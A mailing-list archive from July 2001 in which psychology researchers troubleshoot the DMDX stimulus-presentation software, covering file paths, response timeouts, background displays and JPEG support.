mailspool.helios.nd.edu (8.9.2/8.9.2) with ESMTP id LAA17049 for ; Fri, 20 Jul 2001 11:36:55 -0500 (EST) Received: from localhost (mwenger1@localhost) by darwin.helios.nd.edu (8.10.1/8.10.1/ND-cluster) with ESMTP id f6KGaut19818 for ; Fri, 20 Jul 2001 11:36:56 -0500 (EST) Date: Fri, 20 Jul 2001 11:36:56 -0500 (EST) From: ""Michael J. Wenger"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] another interesting problem In-Reply-To: <5.1.0.14.2.20010720090342.009f4710@psy1.psych.arizona.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Another interesting interaction with the new version came up this morning. For a couple of experiments, we have numerous images, and organize them into subdirectories below the directory where the RTF file for the experiment is located. We've previously displayed the image calls like this: ... ""subdirectory\\image"" ... And this worked quite fine. With the new version of DMDX, same directory structure, same images, I was getting an ""unable to open"" message. So I tried the following change: ... ""subdirectory/image"" ... And everything worked again. Since everything is working, it's not really a problem, just interesting. -Michael >From DMDX-owner@psy1.psych.arizona.edu Fri Jul 20 09:45:04 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA10062 for ; Fri, 20 Jul 2001 09:42:15 -0700 Received: (qmail 5237 invoked from network); 20 Jul 2001 16:42:12 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.11) by breaker.dakotacom.net with SMTP; 20 Jul 2001 16:42:12 -0000 Message-Id: <5.1.0.14.2.20010720094242.009d1910@psy1.psych.arizona.edu> Date: Fri, 20 Jul 2001 09:43:02 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: another interesting problem In-Reply-To: References: <5.1.0.14.2.20010720090342.009f4710@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:36 AM 7/20/01 -0500, you wrote: >Another interesting interaction with the new version came up this morning. >For a couple of experiments, we have numerous images, and organize them >into subdirectories below the directory where the RTF file for the >experiment is located. We've previously displayed the image calls like >this: > > ... ""subdirectory\\image"" ... > >And this worked quite fine. With the new version of DMDX, same directory >structure, same images, I was getting an ""unable to open"" message. So I >tried the following change: > >... ""subdirectory/image"" ... > >And everything worked again. Since everything is working, it's not really >a problem, just interesting. Weird, I wouldn't expect a forward slash to work at all. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Fri Jul 20 09:52:32 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA10108 for ; Fri, 20 Jul 2001 09:49:44 -0700 Received: (qmail 9166 invoked from network); 20 Jul 2001 16:49:39 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.11) by breaker.dakotacom.net with SMTP; 20 Jul 2001 16:49:39 -0000 Message-Id: <5.1.0.14.2.20010720094932.009e5060@psy1.psych.arizona.edu> Date: Fri, 20 Jul 2001 09:50:29 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: another interesting problem In-Reply-To: <5.1.0.14.2.20010720094242.009d1910@psy1.psych.arizona.edu> References: <5.1.0.14.2.20010720090342.009f4710@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:43 AM 7/20/01 -0700, you wrote: >>And everything worked again. Since everything is working, it's not really >>a problem, just interesting. > > Weird, I wouldn't expect a forward slash to work at all. Perhaps you just changed something in Word and it's deciding to use some stupid control sequence for a backslash that DMDX doesn't recognize? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Fri Jul 20 10:02:24 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA10187 for ; Fri, 20 Jul 2001 09:59:35 -0700 Received: from kif.u.arizona.edu (128.196.98.27) by phobos.email.Arizona.EDU (5.1.056) id 3B5454200004E9E1 for DMDX@psy1.psych.arizona.edu; Fri, 20 Jul 2001 09:59:34 -0700 Message-Id: <4.3.1.1.20010720095634.00ce7bd0@kforster.inbox.email.arizona.edu> Date: Fri, 20 Jul 2001 10:00:11 -0700 To: DMDX@psy1.psych.arizona.edu From: Kenneth Forster Subject: [DMDX] Re: Subject Response Timeout In-Reply-To: <003e01c110b9$0c9a0860$6b6b9a89@uws.edu.au> Mime-Version: 1.0 Content-Type: multipart/alternative; boundary=""=====================_3497063==_.ALT"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list --=====================_3497063==_.ALT Content-Type: text/plain; charset=""us-ascii""; format=flowed At 11:12 AM 7/20/01 +1000, you wrote: >Dear all, >I'm having problems with the subject response timeout command. My >experiment is set such that subjects would have 4 seconds to respond 4000>. This works for the items (i.e. ""No Response"" appears on the screen >after 4 seconds have elapsed) up until when the subject has responded >under 4 seconds. So, as soon as a response is made within the timelimit (4 >seconds), all the following items do not have a timeout limit, and one can >take as long as one likes. Is this a bug in the DMDX program? But with my >other experiment on DMDX the timeout command is working fine. Please help! >The parameter lines for my experiment are as follows: > > f100 m110 255255255> $ ""+V""> Helen, What's that '$' in the parameter line doing there? Is that meant to be a switch for the scramble routines? I have no idea what that would do, but it should go after the parameter line. --Ken Forster --=====================_3497063==_.ALT Content-Type: text/html; charset=""us-ascii"" At 11:12 AM 7/20/01 +1000, you wrote: Dear all, I'm having problems with the subject response timeout command. My experiment is set such that subjects would have 4 seconds to respond . This works for the items (i.e. ""No Response"" appears on the screen after 4 seconds have elapsed) up until when the subject has responded under 4 seconds. So, as soon as a response is made within the timelimit (4 seconds), all the following items do not have a timeout limit, and one can take as long as one likes. Is this a bug in the DMDX program? But with my other experiment on DMDX the timeout command is working fine. Please help! The parameter lines for my experiment are as follows: f100 m110 $ Helen, What's that '$' in the parameter line doing there?  Is that meant to be a switch for the scramble routines?  I have no idea what that would do, but it should go after the parameter line. --Ken Forster --=====================_3497063==_.ALT-- >From DMDX-owner@psy1.psych.arizona.edu Fri Jul 20 10:30:58 2001 Received: from mps1.leeds.ac.uk (mps1.leeds.ac.uk [129.11.16.8]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA10333 for ; Fri, 20 Jul 2001 10:27:58 -0700 From: tomc@psychology.leeds.ac.uk Received: from psychology.leeds.ac.uk (psycho.leeds.ac.uk [129.11.244.14]) by mps1.leeds.ac.uk (8.11.1/8.11.1) with ESMTP id f6KHRuD25948 for ; Fri, 20 Jul 2001 18:27:57 +0100 (BST) Message-Id: <200107201727.f6KHRuD25948@mps1.leeds.ac.uk> Received: from PSYC/SpoolDir by psychology.leeds.ac.uk (Mercury 1.46); 20 Jul 01 18:21:31 GMT Received: from SpoolDir by PSYC (Mercury 1.46); 20 Jul 01 18:21:25 GMT To: DMDX@psy1.psych.arizona.edu Date: Fri, 20 Jul 2001 18:21:24 +0100 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: [DMDX] Re: Subject Response Timeout In-reply-to: <5.1.0.14.2.20010720090619.009e5d80@psy1.psych.arizona.edu> References: <003e01c110b9$0c9a0860$6b6b9a89@uws.edu.au> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I now realise it wasn't the but the that removed the time limit. I guess this pushes the time limit through the roof so there is practically no time limit. This seems to be me holding my code together with a bottle top though. Still confused as to why with alone I don't get RTs but 1.00 and +1.00 instead, but without or using I do get RTs. This seems to work, of no functional consequence on this occasion: +10001 * ! ""dpinRightup.bmp""; +1/""+""/""Practice18.bmp"",""Practice18.bmp""/""Mask306.bmp"",""Mask306.bmp""//! *""Up.bmp""; ********** SNIP (j.c.f.) *********** 300,300>""Face16.bmp""/""Mask199.bmp"",""Mask199.bmp""//! *""Down.bmp""; On 20 Jul 01, at 9:08, j.c.f. wrote: > At 11:12 AM 7/20/01 +1000, you wrote: > >Dear all, > >I'm having problems with the subject response timeout command. My > >experiment is set such that subjects would have 4 seconds to respond > >. This works for the items (i.e. ""No Response"" appears on the > >screen after 4 seconds have elapsed) up until when the subject has > >responded under 4 seconds. So, as soon as a response is made within > >the timelimit (4 seconds), all the following items do not have a > >timeout limit, and one can take as long as one likes. Is this a bug > >in the DMDX program? But with my other experiment on DMDX the timeout > >command is working fine. Please help! The parameter lines for my > >experiment are as follows: > > The error is not in your parameter line, you must have something in > your > items that cancels the timeout value. There is no bug in this stuff, > it's been used thousands of times. > > >A related question is that what if I don't want a timeout limit, but > >still want to record response times (I've tried using , the no > >time limit command, but this would not record RTs). So what's the > >command for no time limit, but with RTs still being recorded? > > is what you want (not which would turn of > NoTimeLimit), > you must have another error in your item file. > > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > That which is everybody's business is nobody's business. > - Izaak Walton (1593-1683) > The Compleat Angler, 1655 > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email to > be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== Human Factors Section A18 School of Psychology University of Leeds, Leeds LS2 9JT, UK Phone +44 113 233 5724 (School Office) Fax +44 113 233 5749 tomc@psychology.leeds.ac.uk http://www.psyc.leeds.ac.uk/staff/tomc/index.htm >From DMDX-owner@psy1.psych.arizona.edu Fri Jul 20 10:50:04 2001 Received: from mailspool.helios.nd.edu (mailspool.helios.nd.edu [129.74.250.7]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA10420 for ; Fri, 20 Jul 2001 10:47:13 -0700 Received: from darwin.helios.nd.edu (darwin.helios.nd.edu [129.74.250.114]) by mailspool.helios.nd.edu (8.9.2/8.9.2) with ESMTP id MAA18550 for ; Fri, 20 Jul 2001 12:47:11 -0500 (EST) Received: from localhost (mwenger1@localhost) by darwin.helios.nd.edu (8.10.1/8.10.1/ND-cluster) with ESMTP id f6KHlCw25786 for ; Fri, 20 Jul 2001 12:47:12 -0500 (EST) Date: Fri, 20 Jul 2001 12:47:12 -0500 (EST) From: ""Michael J. Wenger"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: another interesting problem In-Reply-To: <5.1.0.14.2.20010720094932.009e5060@psy1.psych.arizona.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I discovered it by accident, having not fully moved my head from Unix before starting to work on DMDX this morning. I don't think the problem is in Word, since I use a scripting program to generate the script file, then open it in Wordpad (or Notepad) and save it as RTF. -Michael > > Weird, I wouldn't expect a forward slash to work at all. > > Perhaps you just changed something in Word and it's deciding to use some > stupid control sequence for a backslash that DMDX doesn't recognize? >From DMDX-owner@psy1.psych.arizona.edu Fri Jul 20 11:20:26 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA10546 for ; Fri, 20 Jul 2001 11:17:32 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3B56F2250002397D for DMDX@psy1.psych.arizona.edu; Fri, 20 Jul 2001 11:17:30 -0700 Message-Id: <5.1.0.14.2.20010720105432.009e96f0@psy1.psych.arizona.edu> Date: Fri, 20 Jul 2001 11:17:30 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Subject Response Timeout In-Reply-To: <200107201727.f6KHRuD25948@mps1.leeds.ac.uk> References: <5.1.0.14.2.20010720090619.009e5d80@psy1.psych.arizona.edu> <003e01c110b9$0c9a0860$6b6b9a89@uws.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 06:21 PM 7/20/01 +0100, you wrote: >I now realise it wasn't the but the that >removed the time limit. I guess this pushes the time limit through >the roof so there is practically no time limit. This seems to be me >holding my code together with a bottle top though. Still confused >as to why with alone I don't get RTs but 1.00 and +1.00 >instead, but without or using I do get RTs. My bad. is supposed to just report -1 or 1 for RTs, is what you want. Perhaps you could consider posting just a part of your item file next time? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Democracy is a government where you can say what you think even if you don't think. >From DMDX-owner@psy1.psych.arizona.edu Fri Jul 20 11:22:48 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA10553 for ; Fri, 20 Jul 2001 11:19:59 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3B56F22500023A21 for DMDX@psy1.psych.arizona.edu; Fri, 20 Jul 2001 11:19:58 -0700 Message-Id: <5.1.0.14.2.20010720111808.00a1bb70@psy1.psych.arizona.edu> Date: Fri, 20 Jul 2001 11:19:58 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: another interesting problem In-Reply-To: References: <5.1.0.14.2.20010720094932.009e5060@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:47 PM 7/20/01 -0500, you wrote: >I discovered it by accident, having not fully moved my head from Unix >before starting to work on DMDX this morning. I don't think the problem is >in Word, since I use a scripting program to generate the script file, then >open it in Wordpad (or Notepad) and save it as RTF. -Michael Hmm, well I haven't changed anything I can think of that would affect that. Is the name of the file as reported in the error message formed correctly? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Democracy is a government where you can say what you think even if you don't think. >From DMDX-owner@psy1.psych.arizona.edu Sun Jul 22 17:55:15 2001 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id RAA16416 for ; Sun, 22 Jul 2001 17:53:19 -0700 Received: from marcsmatlab ([137.154.107.107]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.2) with SMTP id f6N0rFn21432 for ; Mon, 23 Jul 2001 10:53:15 +1000 (EST) Message-ID: <005501c11312$9454a980$6b6b9a89@uws.edu.au> From: ""Helen Tam"" To: References: <5.1.0.14.2.20010720090619.009e5d80@psy1.psych.arizona.edu><003e01c110b9$0c9a0860$6b6b9a89@uws.edu.au> <5.1.0.14.2.20010720105432.009e96f0@psy1.psych.arizona.edu> Subject: [DMDX] Re: Subject Response Timeout Date: Mon, 23 Jul 2001 10:57:34 +1000 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear All, I'm still having problems with the timeout function and can't work out why. My experiment, in short, is that the participant hears a Chinese word (and sees the face pronouncing that word at the same time) and then is required to identify the word from 6 choices displayed at the bottom of the screen. The problem I'm having is that the timeout limit of 4 seconds does not seem to be working. It works initially but as soon as a response (regardless of whether it's correct or not) is made, all the following items do not have a timeout limit and the participant can take as long as s/he likes to respond. The parameter lines and three item lines are as follows: f100 m110 $ 0 mV= = mG= = mY= = mU= = mK= = m,= = c; $ +01 ~V ""ready"" / ""+12babble_3m.wav""/* ""A_fu1a.mov"" / ! ""1. ? 2. ? 3. ? 4. ? 5. ? 6. ?""; +02 ~G ""ready"" / ""+12babble_3m.wav""/* ""A_fu2a.mov"" / ! ""1. ? 2. ? 3. ? 4. ? 5. ? 6. ?""; +03 ~Y ""ready"" / ""+12babble_3m.wav""/* ""A_fu3a.mov"" / ! ""1. ? 2. ? 3. ? 4. ? 5. ? 6. ?""; If anyone can give me some advice on this, I would be most appreciative. Please help! Helen ----- Original Message ----- From: Jonathan C. Forster To: Sent: Saturday, July 21, 2001 4:17 AM Subject: [DMDX] Re: Subject Response Timeout > At 06:21 PM 7/20/01 +0100, you wrote: > >I now realise it wasn't the but the that > >removed the time limit. I guess this pushes the time limit through > >the roof so there is practically no time limit. This seems to be me > >holding my code together with a bottle top though. Still confused > >as to why with alone I don't get RTs but 1.00 and +1.00 > >instead, but without or using I do get RTs. > > My bad. is supposed to just report -1 or 1 for RTs, > is what you want. > > Perhaps you could consider posting just a part of your item file next time? > > > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > Democracy is a government where you can say what you think even if you > don't think. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Mon Jul 23 01:50:26 2001 Received: from lilac.csi.cam.ac.uk (exim@lilac.csi.cam.ac.uk [131.111.8.44]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id BAA17307 for ; Mon, 23 Jul 2001 01:48:53 -0700 Received: from fs0.wbic.cam.ac.uk ([131.111.93.195] ident=mail) by lilac.csi.cam.ac.uk with esmtp (Exim 3.22 #1) id 15ObOX-00011C-00 for DMDX@psy1.psych.arizona.edu; Mon, 23 Jul 2001 09:48:53 +0100 Received: from pc1.psychiatry.cam.ac.uk (gh242) [131.111.88.207] by fs0.wbic.cam.ac.uk with smtp (Exim 3.12 #1 (Debian)) id 15ObOX-0006zR-00; Mon, 23 Jul 2001 09:48:53 +0100 Message-ID: <004a01c11354$5ff16240$cf586f83@psychiatry.cam.ac.uk> From: ""Garry Honey"" To: References: <5.1.0.14.2.20010720090853.009f4490@psy1.psych.arizona.edu> Subject: [DMDX] Re: Continous background display Date: Mon, 23 Jul 2001 09:49:24 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thanks very much for the response to my question, but I'm afraid I didn't give enough detail in my question to make it answerable! Could I try again... My task involves a yes/no response on each presentation of an 8x8 square grid with a black square in one of the locations (stimulus duration = 1000ms); 2000ms delay between each stimulus. The location of the black square changes on each stimulus presentation. The way I have the file set up currently is as follows: (on my machine, 1 tick = 17ms) ... ... -100 * ""grid1"" / <% 106> /; -101 * ""grid2"" / <% 106> /; +200 * ""grid3"" / <% 106> /; etc... In this case, each of the 'grid' bmp files contain the 8x8 grid, and a black square covering one of the locations on the grid (the location of the black square is different in grid1, grid2, etc). The problem is that at the end of each line, of course the grid, and the square, disappear during the delay period, which is disorientating; so I only want the square to disappear for the specified delay period, whilst a blank grid remains throughout. Is it possible to code a blank grid as a separate .bmp file , which is either set as a background in some way, or is repeated on each line when the square disappears, to give the impression of a continuous grid background? Thanks very much for your help, Garry ----- Original Message ----- From: ""Mike Ford"" To: Sent: Friday, July 20, 2001 3:14 PM Subject: [DMDX] Re: Continous background display > One way is to have the the items all in a single stimulus line, not as > separate lines, .with the frame duration set to 2500 milliseconds in the > parameter line, eg. > > +100 ""grid1"" / ""grid2"" / ""grid3"" /; > > This will also give you the most accurate timing (I'm assuming this is for > a scanning study). > > - Mike > > oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo > Mike Ford > MRC Cognition & Brain Sciences Unit > 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. > Tel: +44 (0)1223 355294 ext 334 Fax: +44 (0)1223 359062 > > http://www.mrc-cbu.cam.ac.uk/personal/mike.ford > oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo > > From: ""j.c.f."" To: Sent: Friday, July 20, 2001 5:10 PM Subject: [DMDX] Re: Continous background display > At 02:58 PM 7/20/01 +0100, you wrote: > >Dear All, > > > >Please excuse the naivety of my question from a DMDX novice: My stimulus > >display consists of an 8x8 square grid, with a single square being > >coloured black; the square changes at 2.5 second delay intervals. My > >question is how do I get the grid to appear continuously as a background > >on the screen, and not disappear during the delay periods? > > > > Don't end each item with an erase frame and don't use any feedback. > > ... ... > 1 ""display"" ; > 2 ""display"" ; > > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > That which is everybody's business is nobody's business. > - Izaak Walton (1593-1683) > The Compleat Angler, 1655 > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > >From DMDX-owner@psy1.psych.arizona.edu Mon Jul 23 05:01:00 2001 Received: from lilac.csi.cam.ac.uk (exim@lilac.csi.cam.ac.uk [131.111.8.44]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id EAA17729 for ; Mon, 23 Jul 2001 04:59:28 -0700 Received: from fs0.wbic.cam.ac.uk ([131.111.93.195] ident=mail) by lilac.csi.cam.ac.uk with esmtp (Exim 3.22 #1) id 15OeMy-0003rV-00 for DMDX@psy1.psych.arizona.edu; Mon, 23 Jul 2001 12:59:28 +0100 Received: from pc1.psychiatry.cam.ac.uk (gh242) [131.111.88.207] by fs0.wbic.cam.ac.uk with smtp (Exim 3.12 #1 (Debian)) id 15OeMy-0007nK-00; Mon, 23 Jul 2001 12:59:28 +0100 Message-ID: <00e401c1136f$00830a50$cf586f83@psychiatry.cam.ac.uk> From: ""Garry Honey"" To: Subject: [DMDX] jpeg format images Date: Mon, 23 Jul 2001 13:00:01 +0100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_00E1_01C11377.622432E0"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_00E1_01C11377.622432E0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I understand that DMDX can now handle .jpg format, but I'm having a few = problems in getting my files to be recognised. I'm using version 1.3.01, = and I'm calling the images as follows: -100 * ""image1"" / ""image2"" <%97> ; DMDX reports the error:=20 Unknown keyword Job Aborted.=20 The code runs fine when substituting .jpg for .bmp files, and both sets = of files are located in the same directory. Do I need to put something = in the parameter line for the files to be recognised? Any help much appreciated, Garry ----------------------------------------------------------------- Dr. Garry Honey University of Cambridge Department of Psychiatry Brain Mapping Unit Addenbrooke's Hospital Box 255 Cambridge CB2 2QQ, UK E-mail: gh242@cam.ac.uk Tel: (01223) 336587 (temporarily unavailable during = refurbishment) Fax: (01223) 336581 ----------------------------------------------------------------- ------=_NextPart_000_00E1_01C11377.622432E0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I understand that DMDX can now handle .jpg format, = but I'm=20 having a few problems in getting my files to be recognised. I'm using version 1.3.01, and I'm calling the images as=20 follows:     -100 * ""image1"" / = =20 ""image2"" <%97> ;   DMDX reports the error:     Unknown keyword Job = Aborted.=20   The code runs fine when substituting .jpg for .bmp = files, and=20 both sets of files are located in the same directory. Do I need to put = something=20 in the parameter line for the files to be recognised?   Any help much appreciated,   Garry   ----------------------------------------------------------------= -Dr.=20 Garry HoneyUniversity of CambridgeDepartment of = PsychiatryBrain=20 Mapping UnitAddenbrooke's HospitalBox 255Cambridge CB2 2QQ, = UK   E-mail:   gh242@cam.ac.ukTel:  &n= bsp;     =20 (01223) 336587 (temporarily unavailable during=20 refurbishment)Fax:        (01223) = 336581---------------------------------------------------------------= -- ------=_NextPart_000_00E1_01C11377.622432E0-- >From DMDX-owner@psy1.psych.arizona.edu Mon Jul 23 05:12:30 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id FAA17804 for ; Mon, 23 Jul 2001 05:11:02 -0700 Received: from pc111 by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Mon, 23 Jul 2001 13:11:01 +0100 (BST) Message-Id: <3.0.5.32.20010723131214.014cd5f0@pophost.mrc-cbu.cam.ac.uk> Date: Mon, 23 Jul 2001 13:12:14 +0100 To: DMDX@psy1.psych.arizona.edu From: Matt Davis Subject: [DMDX] Re: jpeg format images In-Reply-To: <00e401c1136f$00830a50$cf586f83@psychiatry.cam.ac.uk> Mime-Version: 1.0 Content-Type: text/enriched; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 13:00 23/07/01 +0100, you wrote: >>>> I understand that DMDX can now handle .jpg format, but I'm having a few problems in getting my files to be recognised. I'm using version 1.3.01, and I'm calling the images as follows: -100 * < ""image1"" / < ""image2"" <<%97> ; DMDX reports the error: Unknown keyword < Job Aborted. The code runs fine when substituting .jpg for .bmp files, and both sets of files are located in the same directory. Do I need to put something in the parameter line for the files to be recognised? Any help much appreciated, Garry <<<<<<<< Hi Garry, I think that you need to use a more recent version of DMDX. Jpeg support was only added in DMDX version 2.30. Send me an email off-list and I can help you to upgrade. Matt **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#266) Fax: 01223 359 062 **************************************************** >From DMDX-owner@psy1.psych.arizona.edu Mon Jul 23 09:37:24 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA18513 for ; Mon, 23 Jul 2001 09:35:48 -0700 Received: (qmail 27866 invoked from network); 23 Jul 2001 16:35:45 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.16) by breaker.dakotacom.net with SMTP; 23 Jul 2001 16:35:45 -0000 Message-Id: <5.1.0.14.2.20010723093056.009f39c0@psy1.psych.arizona.edu> Date: Mon, 23 Jul 2001 09:36:43 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Subject Response Timeout In-Reply-To: <005501c11312$9454a980$6b6b9a89@uws.edu.au> References: <5.1.0.14.2.20010720090619.009e5d80@psy1.psych.arizona.edu> <003e01c110b9$0c9a0860$6b6b9a89@uws.edu.au> <5.1.0.14.2.20010720105432.009e96f0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:57 AM 7/23/01 +1000, you wrote: >Dear All, >I'm still having problems with the timeout function and can't work out why. Works for me. When I cut and paste your itemfile and comment out all the and keywords I get the names of the files displayed and then 4 seconds later get ""No Response"" for each of the items. Perhaps you should try the same on your machine. If you get the correct behavior we must have some nasty thing having to do with the fact that you're using sound and digital video files. If that's the case then you'll have to send me some of the files at jforster@email.arizona.edu. Don't send more than 20meg, the account won't take it. If the six files in question for that demo item are bigger than 20meg I'll have to think of something else. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Mon Jul 23 09:42:15 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA18543 for ; Mon, 23 Jul 2001 09:40:47 -0700 Received: (qmail 1130 invoked from network); 23 Jul 2001 16:40:40 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.16) by breaker.dakotacom.net with SMTP; 23 Jul 2001 16:40:40 -0000 Message-Id: <5.1.0.14.2.20010723093809.009f16a0@psy1.psych.arizona.edu> Date: Mon, 23 Jul 2001 09:41:38 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Subject Response Timeout In-Reply-To: <005501c11312$9454a980$6b6b9a89@uws.edu.au> References: <5.1.0.14.2.20010720090619.009e5d80@psy1.psych.arizona.edu> <003e01c110b9$0c9a0860$6b6b9a89@uws.edu.au> <5.1.0.14.2.20010720105432.009e96f0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed 